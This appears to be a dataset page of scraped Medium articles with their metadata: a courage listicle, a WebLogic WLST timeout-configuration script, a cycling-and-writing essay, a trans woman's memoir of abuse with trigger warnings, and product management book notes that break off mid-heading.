Datasets:

addy88

/

medium_title_dataset

like 0

Top 6 Traits of Deeply Courageous People

Are you a courageous person? Not in the swim-with-sharks-paraglide-off-mountains kind of way — although I’m not denying the courage involved in those things. But in the way you lead your life. In the way you go about your day to day tasks, the approach to you take to the big picture. What does it mean to have courage? Courage is the ability to front up to something that frightens you. In therapy you see examples of courage every day. The schoolboy who tells his parents he wants to live as a female. The woman in her forties who has come out of a 10-year toxic relationship goes on a date. The athlete who plays comes back after injury or performing badly and then being smashed by fans on social media. The young man who faces up to his disordered eating even though he’s proud of his lean body. The young mother with terminal cancer packages gifts for her children to receive every birthday after she’s gone. It’s not easy to show courage consistently. We all have moments when we allow our fears to shut us down — even when we know the risks of doing so. But breaking through fear is the ticket to squeezing the most out of our talents, chasing our goals and dreams, improving our relationships — living more fully. There are many kinds of courage. Just because you feel you lack in one area doesn’t mean you can’t roar like a lion in another. Here are the clearest ways courage can show up. 1. Playing in the big arena. “Life shrinks or expands in proportion to one’s courage.” — Anais Nin Courageous people play the big game. They think beyond what’s going on right now to what they want for their lives. They don’t avoid the Hard Stuff by burying themselves in busyness. Playing the big game is asking that person on a date, making that speech, applying for that dream job, facing up to whatever is holding you back. Even when it is difficult, even when it involves risk, courageous people suit up and step into the big arena. 2. Speaking up when something is wrong. “Speak your mind, even if your voice shakes.” — Maggie Kuhn Most of us have had moments when we’ve looked the other way when we should have taken action, we should have spoken up — if not for ourselves than for someone who needed our support. Perhaps we were shy, anxious, worried about the repercussions or just too young to know better. Courageous people don’t allow that to happen repeatedly. When they see or know something is wrong, they say so — to the right people. They make a stand for themselves, what they believe in and/or those who are struggling. 3. Walking on unsteady feet. “Bran thought about it. ‘Can a man still be brave if he’s afraid?’ ‘That is the only time a man can be brave,’ his father told him.” — George R.R. Martin, A Game of Thrones Courage is not about always striding forth with certainty. It’s not about banishing fear from our minds and vocabs. It’s often about stepping forward on unsteady feet, about not knowing the outcome but understanding that only by letting go of certainty can you come fully alive. 4. Taking off your emotional mask. “A uthenticity is the daily practice of letting go of who we think we’re supposed to be and embracing who we are.”- Brené Brown Courage is not about relentless positivity. It’s not about slapping a bright face and a cheerful smile over your difficulties. It’s about picking your moment, and your people, to be vulnerable with, to say when you’re struggling. To be able to cry with people — as well as laugh with them. To suffer and to hurt is normal and human. Yes, it’s a risk. And, yes, some people won’t be comfortable with it. But that’s their journey. This is yours. And being vulnerable shows you care. 5. Following your own truth. “It takes courage…to endure the sharp pains of self- discovery rather than choose to take the dull pain of unconsciousness that would last the rest of our lives.” — Marianne Williamson Courageous people let go of the idea that life is about making other people happy. They’re not still doing the job they hate that their mother had in mind for them when they entered high school. They throw off the shackles and do what is meaningful to them — even when it’s not the popular choice. 6. Persisting — even on the crap days. “Courage doesn’t always roar. Sometimes courage is the little voice at the end of the day that says, ‘I’ll try again tomorrow.’” — Mary Anne Rademacher It’s a universal truth that, even when you have a life you enjoy, it can be boring and repetitive. Even when you do work you are passionate about, some days can be a drag. No-one bounces out of bed every single day on a mission to take over the world. And, if they do, stay away from them. Persistence, with things that matter to you, is everything. It’s about showing up consistently, whoever you are, whatever you do. The great thing about courage is that it’s not discriminatory. It’s free to all of us. All we have to do is beckon it forth.

https://medium.com/on-the-couch/top-6-traits-of-deeply-courageous-people-912a47112ce3

['Karen Nimmo']

2020-10-13 11:07:48.576000+00:00

['Self Improvement', 'Inspiration', 'Life', 'Life Lessons', 'Psychology']

WLST script to set the JDBC Connection timeout properties in WebLogic server

WLST script to set the JDBC Connection timeout properties in WebLogic server Albin Issac Follow Jun 19 · 2 min read There are different timeout properties in the JDBC connection, this tutorial explains the approach to set some of the important JDBC Connection timeout properties in WebLogic server through WLST script. Inactive Connection Timeout The number of inactive seconds on a reserved connection before WebLogic Server reclaims the connection and releases it back into the connection pool. You can use the Inactive Connection Timeout feature to reclaim leaked connections — connections that were not explicitly closed by the application. Connection Reserve Timeout The number of seconds after which a call to reserve a connection from the connection pool will timeout. When set to 0, a call will never timeout. When set to -1, a call will timeout immediately. Statement Timeout The time after which a statement currently being executed will time out. A value of -1 disables this feature. A value of 0 means that statements will not time out. oracle.jdbc.ReadTimeout The property oracle.jdbc.ReadTimeout helps to set read timeout while reading from the socket. oracle.net.READ_TIMEOUT for jdbc versions < 10.1.0.5 oracle.jdbc.ReadTimeout for jdbc versions >=10.1.0.5 oracle.net.CONNECT_TIMEOUT The property oracle.net.CONNECT_TIMEOUT helps to set the login time out in Oracle. WLST Script The below WLST script will help us to set the JDBC connection timeout properties SetJDBCTimeoutProperties.py def setJDBCTimeoutProperties(): dsName='CRM6EAIReference' edit() startEdit() server='AdminServer' cd("Servers/"+server) target=cmo print '=========================================' print 'Setting the timeout properties for DataSource....' print '=========================================' cd('/JDBCSystemResources/'+dsName+'/JDBCResource/'+dsName+'/JDBCDriverParams/'+dsName+'/Properties/'+dsName) #cmo.destroyProperty(getMBean('/JDBCSystemResources/'+dsName+'/JDBCResource/'+dsName+'/JDBCDriverParams/'+dsName+'/Properties/'+dsName+'/Properties/oracle.net.CONNECT_TIMEOUT')) cmo.createProperty('oracle.net.CONNECT_TIMEOUT') #cmo.destroyProperty(getMBean('/JDBCSystemResources/'+dsName+'/JDBCResource/'+dsName+'/JDBCDriverParams/'+dsName+'/Properties/'+dsName+'/Properties/oracle.jdbc.ReadTimeout')) cmo.createProperty('oracle.jdbc.ReadTimeout') cd('/JDBCSystemResources/'+dsName+'/JDBCResource/'+dsName+'/JDBCDriverParams/'+dsName+'/Properties/'+dsName+'/Properties/oracle.net.CONNECT_TIMEOUT') cmo.setValue('10000') cd('/JDBCSystemResources/'+dsName+'/JDBCResource/'+dsName+'/JDBCDriverParams/'+dsName+'/Properties/'+dsName+'/Properties/oracle.jdbc.ReadTimeout') cmo.setValue('20000') cd('/JDBCSystemResources/'+dsName+'/JDBCResource/'+dsName+'/JDBCConnectionPoolParams/'+dsName) cmo.setInactiveConnectionTimeoutSeconds(120) cd('/JDBCSystemResources/'+dsName+'/JDBCResource/'+dsName+'/JDBCConnectionPoolParams/'+dsName) cmo.setConnectionReserveTimeoutSeconds(30) cd('/JDBCSystemResources/'+dsName+'/JDBCResource/'+dsName+'/JDBCConnectionPoolParams/'+dsName) cmo.setStatementTimeout(120) save() activate() print 'Timeout settings for the datasource '+dsName+' has been completed' def main(): adminURL='t3://localhost:7001' adminUserName='weblogic' adminPassword='weblogic1' connect(adminUserName, adminPassword, adminURL) setJDBCTimeoutProperties() disconnect() main() Script Before executing the script, change the configurations as required. Execute the script — <<Oracle_Home>>\oracle_common\common\bin\wlst.cmd SetJDBCTimeoutProperties.py Restart the server after successful execution. Now the JDBC connection timeout properties are set to the data source. Under advanced section

https://medium.com/tech-learnings/wlst-script-to-set-the-jdbc-connection-timeout-properties-in-weblogic-server-f55bba328aa1

['Albin Issac']

2020-08-06 18:10:00.922000+00:00

['Programming', 'Oracle', 'Servers', 'Software Development', 'Weblogic']

Kenapa Design System itu Sangat Penting 🕺

“Design Systems is about how to approach your design process more systematically, and ensure your design system helps to achieve the purpose of your product and fits with the culture of your team.

https://medium.com/penggiat-desain/kenapa-design-system-itu-sangat-penting-3e83a3983a0d

['Rizki Mardita']

2019-06-17 04:55:01.527000+00:00

['Design Systems', 'Design', 'Gojek', 'Design Language System', 'Product Design']

What Cycling Across Canada Taught Me About Starting a Writing Business

I biked across Canada in the summer of 2017. I had just finished my master’s degree, which was a very challenging experience — and not really in a good way. As I was finishing my thesis, I decided I needed to do something to recover. I wanted to do something difficult, but I didn’t want to think too hard. I didn’t want to rely on other people for my success. I wanted to get out of my head and into my body. So I bought a bike and started pedalling. Between June and September, I cycled 7,400 kilometres (about 4,600 miles) from Victoria, British Columbia to St. John’s, Newfoundland. Then, a few years ago, I started a freelance writing business. Riding 7,400 kilometres across the country seems like a very different endeavour than creating a business, but a lot of the things I learned from my bike tour have actually helped me with both my writing and figuring out how to create a business from scratch. Here are a few of those things. Your Best Ideas Come When You’re Moving Photos by the author. Left: Thunder Bay, Ontario. Middle: A highway rest stop, Alberta. Right: The Cabot Trail, Nova Scotia. The two months I spent on that bike were the most creative two months I’ve ever had. It was a free flow, idea after idea, for five hours a day. There’s lots of research to support the idea that exercising helps us be more creative. But I didn’t realize how powerful the effect of exercise really was. As soon as I was on the bike, I found myself solving problems, making connections, and generating ideas. I use this as a practice all the time now with my writing. When I’m stuck with something, I go for a walk, go to the gym, or even do housework. (I actually had the idea for this article while I was washing dishes.) It’s productive and it helps ignite creativity. Keep a Journal (Even When You’re Tired) Your best ideas may come when you’re exercising, but they will also disappear if you don’t capture them. I learned about disappearing ideas the hard way. Everyone asked me if I was keeping a blog for my trip. I sort of did, but I was very haphazard about it. Now that I write blogs for a living, I’m kicking myself for not taking it more seriously. I took notes occasionally, but not nearly as many as I should have. After cycling all day, setting up camp, making dinner, and washing my shorts, I just wanted to lie down. I felt too tired and told myself I would do it tomorrow. But then, I would be busy in the mornings making breakfast, packing up, and trying to get an early start. And then I biked all day. There never seemed to be time. I forgot most of those ideas that I had while I was biking. When I look back, I see that I wasted so much of the creative opportunity that I had simply by not taking notes. So the lesson for me was to journal regularly. Now I keep a journal by my bed and a file in the notes app on my phone for random ideas. I also have a proper journal where I usually try to write an anecdote or two about my day. And I’m disciplined about it — even when I’m tired, I try to write at least one short story. The five minutes I spend jotting down my ideas will absolutely be worth it later. Some Tools are Essential —and Some Aren’t Photos by the author. Left: Lake Louise, Alberta. Right: Vancouver, British Columbia. There’s a whole culture around biking equipment. When I started, I had no idea what was important and what wasn’t. People give different advice: Some say disc brakes are essential because they stop the fastest; others say you want V-breaks because they can be fixed anywhere. Some people say you need to have front panniers to balance the weight on your bike properly; others say they make your bike too heavy. Virtually everyone will tell you that you need cycling shorts. I didn’t have a lot of money, so I opted for a minimalist version of all that. I used V-breaks because that’s what the bike I bought off Craigslist had. I didn’t buy front panniers; I just packed everything on the back and held it on with bungee cords. I wore regular basketball shorts. Over time, I learned what was essential and what wasn’t. V-brakes are fine, as long as they work — but make sure they work. You don’t need front panniers, you just have to be okay with less stuff. But it turns out those sleek cycling shorts aren’t just for making your butt look great — they are actually designed to prevent saddle sores. (Ask me how I know.) They’re essential. The lesson I took from my experience with biking gear was to find a basic system that worked and then to focus on cycling. Tweak as needed. I’ve applied this strategy to my writing business, as well. There are lots of people selling courses or giving advice on how to cold call potential clients, how to write blog posts that rank on Google, whether you need a website, and which grammar app you should use. I still don’t have a lot of money, so I applied the same strategy that I did with biking: Start with something basic, focus on writing, and then adapt. I’ve been fine without expensive online courses, but a couple of SEO courses on Coursera were really useful. A website was essential. The free version of Grammarly is fine for me. Find a system that works for you and then focus on writing. Tweak as needed. Talk to Strangers They’re so helpful. Strangers gave me information about the best bike routes, the best places to camp, and how to avoid bears. They gave me food and water. They gave me places to sleep. At a beautiful beach in Marathon, Ontario, this lady from New York and her Aussie boyfriend made me a meal on a fire and then left me with a bag of Chaga mushrooms. At a Tim Hortons in New Brunswick, a stranger came up and gave me $50 (he felt sorry for me). This lovely couple on Prince Edward Island made me and this other guy a full lobster dinner. At a lighthouse on the Cabot Trail, Moe and Elaine from Massachusetts invited me to stay on the extra bed in their trailer. Cycling taught me that most people, most of the time, are really great. They will help you. Writing is the same. It was only relatively recently that I decided to try to connect with other writers. I started with Reddit and I’m still getting into Medium, but in both places I’ve found other writers to be really useful. Writers have great advice. They share connections. They pass on leads. Joining a writing community has been highly beneficial for me. Cycling is a solo sport, and yet it’s way easier with support. Writing is the same: You do it alone, but it’s somehow still way easier when you have a community around you. Most of It Is Grunt Work Photos by the author. Left: Schreiber, Ontario. Middle: Swift Current, Saskatchewan. Right: Morley, Alberta. Cycling a really long way seems like it would be hard. But it isn’t really. To successfully cycle a really long way, you just have to consistently get on the bike and pedal. You do that over and over and over and, eventually, you’ll find that you have gone a really long way. The cycling part is easy. But it’s an endurance sport — the hard part is doing it for a long time, over and over. Writing is a lot harder than cycling. You can do it badly. (You can’t really do cycling badly.) So it’s not quite the same. But here’s what they have in common: The trick to being successful is just doing it. You get on the computer, and you type for a long time, and when you do that enough, you find that you have written something. It’s not glamorous or magical; it’s grunt work. Writing, like cycling, is an endurance sport. You Are What You Do There’s a strange kind of identity that comes with cycling. I never really thought of myself as an athlete, and certainly not as a cyclist. I’d never done much cycling at all, except as a way to get to school or work. I knew nothing about bikes themselves, the equipment, or cycling culture. (The first time someone asked me what kind of bike I had, my answer was, “a black one.”) But once you’re on the bike, you’re a cyclist. It’s the same for writing. If you are making money from writing — any money at all — you’re a writer. It helps to remember that when you’re finding it difficult and you feel a bit like an imposter. Like somehow you’re not a real writer. Have you written something? Did you make money from it? Then you are a writer. Don’t worry about whether you’re a real writer. You are. Just worry about the writing. Someone Is Always Better Than You Photos by the author. Left: Emerald Lake, Alberta. Right: The Confederation Bridge, New Brunswick. Everyone who saw the bundle of gear attached to my bike asked me where I was going. And it seemed like each of them knew someone who had biked across Canada better than me. One person knew someone who did it in 50 days, which was 30 days faster than me. Someone prepared for a whole year before they did it. One couple didn’t prepare at all; they just bought a bike spur-of-the-moment while they were on vacation and started without a backwards glance. Another person knew someone who rode 400 kilometres in one day, in a storm with the wind at their back. Someone spent almost nothing on the trip. Someone else had no gear; he just carried a credit card and stayed in hotels. Some people I met were doing this for their second or third or 12th time. Virtually everyone knew more about bikes, the geography, the route, or the weather than me. There was always someone doing it better. But in the end, I still got there just like they did. Writing is the same. It seems like everyone is publishing articles about how they made six figures in their first year, or how to write a $500 article in 40 minutes. (Speaking of which, congratulations on $11,000 in 30 days, Tim!) There are lots of writers (the majority of them, probably) who are funnier, smarter, and more interesting than me. Lots of people have written more. Lots of people publish in fancy places. They’re doing it better. But I am writing for a living. I am certainly not making six figures, but I’m sustainable and paying off my student loans. I’m getting there. The lesson is not to worry about whether you’re the best. You’re not. But you’re good enough. Keep pedalling. You Make Your Own Journey I met lots of people on the same journey as me. There was the new doctor on his sprint bike eating nothing but power bars. There was Mike, an ex tech CEO with his sturdy bike packed with 200 pounds of gear, slowly trudging away using peanut M&Ms for fuel. There was the vegetarian cyclist couple who were 17 years old and doing 250 kilometres a day, but who had one of their dads following behind them, carrying their camping gear in his truck. There was the 88-year-old woman doing it for the 12th time. There was Grace, the pole dancer, who mostly rode but sometimes hitchhiked (“Whatever. It’s my trip.”) and who determined her route in part based on Tragically Hip songs. Each of these people had their own style and were on their own journey. Each one succeeded. This can also be applied to writing. I’ve known people who were on many different journeys: Some became content writers after a career in journalism; others started writing after they quit their sales career. I have a friend who was a musician before specializing in product descriptions. My background was in academia and government where I wrote about research and its implications for policy. People can help and give you advice, but each person’s writing journey is different. It’s a bit scary, but it’s empowering, too. Do your own thing. Just Get Started Photos by the author. Left: Osoyoos, British Columbia. Middle: St. Johns, Newfoundland. Right: Slocan Lake, British Columbia. One of the most common questions I got leading up to the trip was what I was doing to prepare for it. I told people I was riding a lot, but actually I wasn’t. I rode the stationary bike at the gym for 20 minutes. I did that three times, total. That’s it. The truth is that I didn’t really prepare at all. I had read a blog post (thank you affiliate marketing!) that said that the best way to prepare to cycle long distances was simply to cycle long distances. You could train as you go. Just don’t go too hard too fast and you’d be fine. That was my strategy. The first couple of weeks were difficult, but I got through them. And then it was easier. To be fair, the first couple of weeks also had three mountain ranges, one of which was the Rockies… So. The point is that the most important thing was to just start. I’ve found that a writing business is the same. You can learn it as you go. Sure, it helps if you have some experience writing professionally and some knowledge of grammar rules. There are probably things you can do to prepare for starting a business — getting a legit website set up, doing some research, picking a niche, building a network. Maybe taking one of the many expensive courses that are out there. But really, the idea that you need to be “qualified” to be a writer is a myth. You can learn to write as you’re writing. You just need to get started. There’s No “Right” Way to Success At first glance, cycling across Canada doesn’t appear to have a lot in common with starting a business. But here’s what they share: They are both big undertakings that can feel impossible at the start. And there are different ways to actually do them. Lots of expert writers will give you specific tools, tips, and tricks that can help you write professionally or start a business. That can be helpful. But what I learned from my trip, and what I’ve applied to my writing business, is that there are lots of “right” ways to be successful. Use other people’s advice, sure, but don’t get overwhelmed trying to be a writer the right way. You can do it your way. You’ve got what it takes. Take the guidance that’s useful to you, leave what isn’t. Try things out, experiment. And then work really hard at writing. After a while, you’ll get there.

https://medium.com/the-ascent/what-cycling-across-canada-taught-me-about-writing-c8f67458a097

['Ramsay Lewis']

2020-09-06 20:01:01.327000+00:00

['Life Lessons', 'Inspiration', 'Entrepreneurship', 'Writing', 'Startup']

I’m a Trans Woman, and I Was Socialized Female

Despite being assigned male at birth (AMAB), from my earliest memories, I remember that I was never treated like a boy. I grew up alongside a younger brother, Luke. We were extremely similar — the same tastes, many of the same skills, the same background, et cetera. We were both the white children of middle-class Christian conservative, military parents. Yet despite appearing to be on even footing, we received drastically different treatment. Luke was instantly accepted by the other boys; boys always metaphorically held me at arm’s length. He was encouraged to pursue interests in STEM; I was expected to become a nurse, and I was taught from a very early age how to perform emotional labor. His gender was almost never critiqued; my every mannerism was endlessly picked apart, even down to, very memorably, the way I hold water bottles. My body and my clothes were a favorite topic of critical conversation, while his appearance was left alone. But these are merely the more tame aspects of our differential socialization. The overt harassment from peers and authority figures worsened significantly when I was about eight years old, and it only became worse from there. Boys would tell jokes about my appearance and behavior, and when walking past me, they made a show of very carefully making sure they made no physical contact with me, pressing themselves up against walls and smirking cruelly as they tiptoed past. Girls spread rumors about me, and banded together to exclude me; since I only got along well with other girls, this made it extremely difficult to make friends. I was alone. Men, especially male teachers, took it upon themselves to try to “fix” me into being a “real boy.” I was forced into sports, where, naturally, the gendered bullying from boys was at its worst. I tried to tell women what was happening, but most of them didn’t believe me, and the ones who did provided no more help than trite, verbal statements of support, said in private, even though public support would likely have encouraged other people to treat me better. My brother was my only friend, but he couldn’t understand why I was getting treated like this. My parents always (and I invoke the absolute intentionally) blamed my social rejection on me: “You must have provoked them,” or “You need to be nicer,” or some other advice to change myself instead of expecting others to treat me as a human being the way I already was. This was gendered mistreatment. It is an aspect of misogyny that women and girls are told to change who they are in reaction to abuse, instead of being told that people are wrong for abusing them in the first place. To be female is to be expected to endlessly mold oneself into a more acceptable, more submissive, more nice person. The thin veneer of “boy” slapped on top of how I was treated does not change the essence of what it was. People can and do say one thing, and do another. [Trigger warning: Child sexual abuse and homophobic slur.] The worst part of my childhood came when I was ten years old. My parents had forced me into a martial arts program as yet another attempt to “toughen me up,” to erase my femininity. It didn’t work. One of the instructors at the martial arts facilities, Daniel, took notice of me. At the time, I thought he was being kind for trying to get the boys to laugh at “jokes” about me. I was young and naïve; I did not realize he was laughing at me, not with me. He told me to play up what a fag I was. This hit a boiling point one day in the exercise room. Daniel proposed that the bored class do “theater” by roleplaying according to his instructions. When it became my turn to “act,” he gestured me toward him and conspiratorially told me to do something along the lines of “acting really, really gay” with the male mannequin in the room. Nervously, I shuffled up to the mannequin and tried pretending to hug and kiss it. He called out across the room to encourage me to go further. I was so desperate for approval at the age of ten, after already having been through a couple of years of near-total social rejection, that I complied. I awkwardly gyrated my body against the mannequin, to the uproarious laughter of both the teacher and my classmates. I couldn’t have known that I’d just surrendered my access to what little pretense they had shown up until that point. From then on, the gendered abuse at the martial arts center (which doubled as an after-school daycare) was so severe that I would regularly hide under tables, stacking furniture and backpacks in front in a terrified attempt to hide myself. I was kicked, spat on, and most memorably, peeped on while I was in the restroom. I was regularly called a “faggot,” a “girl,” and all sorts of other homophobic and misogynistic insults. My brother eventually let it slip to my parents what had happened, one night when we were out getting fast food. They were furious, but not because their child had been abused; no, their anger was because their child had been made to look gay. Like a girl. They reported what had happened to the owner of the martial arts center/daycare, and they also spoke to the police. In the ensuing investigation, it was revealed that Daniel, who was eighteen at the time, had also been pressuring a twelve-year-old cis girl into performing oral sex on him. Her parents found out by reading her diary, after they heard about what had happened to me. Daniel was convicted and sent to prison, but not for what he did to me. He was never punished whatsoever for molesting me. The owner didn’t even fire him. I wasn’t allowed to stop going to that center until two years later, when I turned twelve. I had a brief, one-year respite during which I received the least abuse of my life. Sixth grade was blissful. I began to explore the sciences and the arts entirely on my own. I checked out technical books from the library, and taught myself all about topics like electromagnetism. At the same time, I advanced further in my orchestra class, playing the viola as second chair. Boys still bullied me for my gender deviance, but being among the artsy kids for so much of my days shielded me from a good portion of it. Then my family moved overseas at the same time as I began the wrong puberty. I rapidly descended into extremely severe clinical depression, and with that new weakness front and center, the gendered abuse amped back up with a vengeance. At the Christian private school to which I was sent, my gender and sexuality were more heavily-policed than ever. Almost everything I did was wrong. This was when I discovered that I could attain a modicum of protection by performing emotional labor for others. I fell into a pattern of offering unconditional support to classmates; I would listen for hours on end to their problems, and assure them that they were good people who did not deserve the mistreatment they received. I began to deeply understand that my worth (as a girl) was directly proportional to how much work I put into shouldering the psychological burdens of others. Feminists are intimately familiar with this concept — under patriarchy, a woman’s worth is defined by the emotional labor she provides for free. This was my exact experience. It was in sharp contrast to my brother’s, who was beloved by others even if he did not set aside vast amounts of time to check on and care for them, as I learned I had to. [Trigger warning: Sexual harassment and rape.] In high school, a new, disgusting form of gendered abuse emerged: Straight boys treating me like a sex object. They would do things such as mockingly telling me how much they “loved” me, then snickering to their friends when it made me blush. More overtly, some of them would make masturbating gestures at me, or grope me as I walked by. They gave many unsolicited comments on my skin, my hair, my clothes, and everything else women and girls are made to feel insecure about. These were also the years when I experienced my first rapes. Grown men began to prey on my loneliness and yearning for love by pressuring me, a minor, into having sex with them. These men were all straight or bi. At the time, I wondered how I could possibly be “converting” them. In retrospect, I see this, combined with the total lack of romantic interest gay men showed in me, as very telling. No matter how hard I tried to hide that I was a girl, people could tell. The first rape was when I was fifteen years old, and at a band camp. (Yes, I know, stereotypical.) A man named Mac, who had a girlfriend, lured me to his dorm room to “hang out,” then began to make sexual advances. He said he wanted to “experiment.” To him, I was merely an object of fantasy, not a human being. (Misogyny.) Afterward, despite my obvious disinterest in staying in contact, he continued to message me for months, even after he went home and was with his girlfriend. The messages were all sexual; none were supportive, even though I badly needed support at that time in my life. I got my first boyfriend, Allen, when I was sixteen years old. Again, he had only dated women, and considered himself straight. It was one of the best times of my life. I had never felt loved before, least of all by a member of the group that had been most dedicated to hurting me. But naturally, it was unhealthy. He kept our relationship a secret, because he was too afraid of being with me in public. His parents were strongly religious, and very bigoted, and they only allowed us to spend time together as long as we at least tried to present ourselves as male best friends. Of course, even they didn’t really treat me like a boy. It was contradictory and confusing, and the entire charade came crashing to a halt one day, when his mother was snooping in his text messages, and found our digital love notes to one another. She demanded that he dump me, and she threatened to out me to my parents as “gay” if I ever went near her son again. I had never had panic attacks in my life until that day, but her threat, and the sudden abandonment of the person I had loved most, caused me to develop a brand-new anxiety disorder. Love was made into a weapon against me, just as it is against all other women. In my despair, I fell into a deeply unhealthy pattern of having casual sex with adult men. I knew that, at age 17, I shouldn’t have been doing it, but I didn’t care then, and neither did they. I wanted a semblance of acceptance, but I was too hurt to trust somebody enough to form another relationship, so the most I could manage was hookups. I am deeply lucky to have never faced violence while doing this, nor did I ever catch any STDs, according to the many comprehensive tests I have had done. At age 18, I entered into the most abusive relationship in which I’ve ever been, with a man named Nick. By then, I had already consciously realized that I was not actually male, so I tried to insist that he call me “they” pronouns. (Internalized transmisogyny kept me from believing that I could actually be a girl, so I concluded, at the time, that I must’ve been non-binary.) Nick responded with emotional abuse, which escalated ever-further, until, finally, when I said I wanted to leave him, he threatened me with suicide if I did not stay with him, an experience to which many cis women can relate. That was the only time I have ever called the police on somebody, but I did not feel guilty about it, because he was a cis straight white middle-class man — he was safe from almost all police brutality. My assumption was proven correct when the police officers deployed to his house did no more than merely talk to him about whether he may have been suicidal, and they left after he convinced them he was not going to harm himself. I started hormone replacement therapy (HRT) the following year, at age 19. My ensuing, gradual social transition resulted in people treating me largely the same, albeit without the surface veneer of verbally calling me “male” while not at all treating me like I was. Now, at age 23, I have spent my entire adult life like this. I find it ironic that I am accused of having been a “man,” not only due to all the experiences above, but also because coming out at 18 meant I never even pretended to be a “man.” My façade ended with “boyhood.” But of course, I cannot expect nuance from transmisogynists, nor can I assume they realize there is a huge diversity of experiences of what it is to be a woman. My gender was policed. I was molested. I was raped. My worth was systematically defined by my emotional labor. Men treated me like a sexual object. My appearance was considered up for public debate. This was clearly, unequivocally female socialization, and when feminism and the social justice community realize that trans women have been treated like women from the start, they can finally start fighting for trans women’s liberation, as they should have been doing all along. We are your sisters, we are also suffering from misogyny, and we need your help.

https://medium.com/athena-talks/im-a-trans-woman-and-i-was-socialized-female-f6cf24e40563

[]

2017-03-27 22:06:43.750000+00:00

['Socialization', 'Misogyny', 'Feminism', 'Transgender', 'LGBTQ']

Learn About 42 Rules of Product Management In 13 Minutes!

I just finished reading “42 Rules of Product Management: Learn the Rules of Product Management from Leading Experts from Around the World” by Brian Lawley and Greg Cohen and thought about sharing my notes for those who just want to know the crux of the book in just 13 minutes! These are points that are meant to provide a fundamental understanding of the material and get the conversation going. So, let’s get started! Rules are meant to be broken: Best PMs are passionate and independent. For them, believing in themselves and creating value for customers is paramount, everything else comes later. If you’re fortunate, you can create an entirely new market. Eg: Henry Ford creating affordable automobiles: In 1908, Henry Ford produced an automobile that was differentiated in one characteristic— it was the first “affordable” automobile. The price continued to drop each year and within ten years, 50 per cent of cars in the United States were Ford Model Ts. Work on Products You Are Passionate About: Be passionate about the products you’re working on. It could be about almost anything; technology, solving customer problems, changing the way customers work or play, capturing a market and implementing a winning strategy. Why is it important? 1. If you’re working on something that you don’t deeply care about, you won’t have the tenacity and persistence to do what needs to be done for a product’s success. 2. Passion is infectious — if your team sees you’re committed and excited, they’ll carry that energy as well. Beware the “Requirements Death Spiral”: Keep your Product Requirement Documents (PRDs) simple and crisp else be ready to lead your organization into the “requirements death spiral.” Having too many specifications initially, and adding some more will compel you to miss out your product launch dates and create disharmony among the engineering team. PMs should focus on the problem space and encourage engineering to apply their creative energies to the solution space. Think Like an Entrepreneur: To think like a PM requires thinking like an entrepreneur. Just like how entrepreneurs need to convince Venture Capitalists (VCs), banks to invest time and resources in them, PMs also have to convince the management team of the future value of the product concept being proposed. Both entrepreneurs and PMs have one thing in common: the clarity of customer need. They know the profile, needs, emotions, and purchase drivers of their customers. Learn to Say “No” to Customers: PMs listen to many stakeholders and in order to understand their needs, one important part of this process is sharing information about strategic product road mapping with users. However, doing this will invite features that won’t align with the product’s long-term goals, and this is where the PMs need to step in and say ‘No.’ This quote from Ivan Chalif, Blogger, The Productologist sums it up really well — “Saying “no” lets product managers focus on delivering superior products rather than ones that are merely sufficient.” Product Management Is Inherently Political: In an ideal world, we’d expect several stakeholders willing to compromise and put the organization’s overall interest first. However, this is seldom the case. Therefore, it’s important for PMs to recognize the “internal politics” or “group decision-making” (whatever you want to call it) and help them understand your process and the resources your teams will need to complete a project. There Is a Fine Line between Knowing It All and Being a Know-It-All: As PMs lead several teams that don’t report to them, they’re expected to be decisive and play a judge while dealing with suggestions from different stakeholders. Certainly, this will invite conflicting opinions on key issues. However, it’s the PMs responsibility to keep their egos aside and handle the conflict with data-backed knowledge. Refrain from being the know-it-all — instead be someone that all know they can follow, learn from, and ultimately trust to lead the product toward success. Market Research Must Be Actionable: A good market research is not about using your favourite expensive market research tool, but about questions that help you understand your customers, your competitive marketplace, your competitors, and yourself. And you can do all this by just getting on a SOFA: Systematic, Objective, Focused, Actionable. Only things you need to conduct great market research is a commitment to understanding your customers, a willingness to accept your incorrect preconceived notions, and asking specific questions and a readiness to act. But the most important thing is to actually listen to your customers The Two-Week Rule: To avoid launching a failing product, introduce the product first to your customers and gather validated learnings by focusing on the right activities — prototyping and testing it on real users. You can do this by simply following one rule — never go more than two weeks without putting your product ideas in front of real users and customers. After it, it’s all about failing fast. Market Needs, Not Individual Requests: On a daily basis, PMs receive several feature suggestions from the organization’s stakeholders and customers. Instead of focusing on individual demands, PMs should start listening to market needs. You will often learn more about talking to people who are buying your competitors’ product or who once bought it, but aren’t using it anymore. Practising this consistently will make your product relevant to an entirely new customer base. No Surprises: When writing your Market Requirement Documents (MRDs), talk to your engineers, designers and everyone involved with the product to understand their requirements and ability to finish the task within set deadlines. Be transparent and explain your method of prioritization as this will make them more accepting of your product decisions, even when their suggestions aren’t deployed. Be Data-Driven by the Consumers of Your Product: We all have our favourite feature that we think will drive the product success and we may fight for its survival. But we’re wrong to do that. As PMs, our job is to improve our odds of being right about customer needs, and the only way to achieve this is by talking to the customers. Know about their underlying problems and how to solve them. Remember: you are not the customer, but you are the distilled collective voice of all of the customers. 90–360–3 Framework: The answer to “How long will it take you to make an impact?” The rule is simple: over ninety days, take a 360-degree view of your organization and develop three top-line measurable objectives. This will give you critical insights, visibility, and measurable objectives. Don’t use this process after 6 months. How to use it?— 1. Design a rhythmic timescale right for you and your organization. 2. Build regular and ongoing connections with all the groups in your organization. 3. Develop a measurable and attainable set of objectives Creativity Opens Up More Possibilities: Creativity plays a crucial part in every PMs lives as they can develop creative techniques to solve day-to-day operational tasks. One way to do this is by mind mapping: Start off with a blank sheet of paper and summarize part of the problem you are trying to solve in just one word. You can further branch them out to create a more complex mind map. Another technique involves studying parallel universes that are completely unrelated to the product you manage. This is a great way to guide teams to explore all possibilities without relying on the clichéd “think outside the square” method. Get Your Hands Dirty: As a PM, you should know everything there is to know about your product as it's your best tool to understand your customers and their underlying wants. Be passionate about what you’re building, and that can only be gained from actually hacking, cracking, and beating on the very thing you’re trying to develop. That “survey of one” is quite an essential part of your job and you have to do it consistently. Get Out of the Office: There’s no better way to understand your customers' needs than by actually meeting them in their natural habitat. While the data can tell you about their usage patterns, only by being present in their environment can you learn — 1. What they’re thinking about? 2. how they’re using your product? and 3. How much benefit/satisfaction your product actually provides them? You Do Not Own Your Product: In a company, the CEO makes all decisions, including the ones concerning the product. PMs are only responsible for the product’s lifecycle but they don’t have any authority over it. However, successful leadership promotes and leverages collaborative decision-making process than a top-down mandate. Carve Out 